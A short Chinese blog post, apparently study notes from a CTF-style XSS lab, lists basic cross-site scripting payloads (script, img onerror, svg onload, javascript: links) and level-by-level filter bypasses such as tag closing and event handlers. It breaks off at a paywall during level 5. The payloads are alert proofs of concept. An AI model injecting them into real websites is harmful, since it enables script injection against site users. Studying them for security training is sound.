本文详细介绍了XSS（跨站脚本攻击）的基础知识，包括不同级别的攻击手段，如利用< script>、< img>、< a>标签及各种事件属性实现弹窗。随着过滤机制的加强，攻击者需要采用大小写绕过、双写绕过等技巧来规避防御。文章还提到了实际场景中如何应对更严格的过滤规则，并分享了在level10中遇到的挑战和解决方案。
打卡第一天
关于xss的学习
XSS常用语句
< script>alert(1)</ script>
< img src=x οnerrοr=alert(1)>
< svg οnlοad=alert(1)>
< a href=javascript:alert(1)>
leve2
闭合前面的标签
">< script>alert(1)</ script>
level3 level4
<>符号被过滤，可利用事件弹窗(//注释后面的内容)
οnclick=alert(1)//
οnmοusemοve=alert(1)//
level5
script、on事件都被过滤
">
最低0.47元/天 解锁文章
扫一扫
1518
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
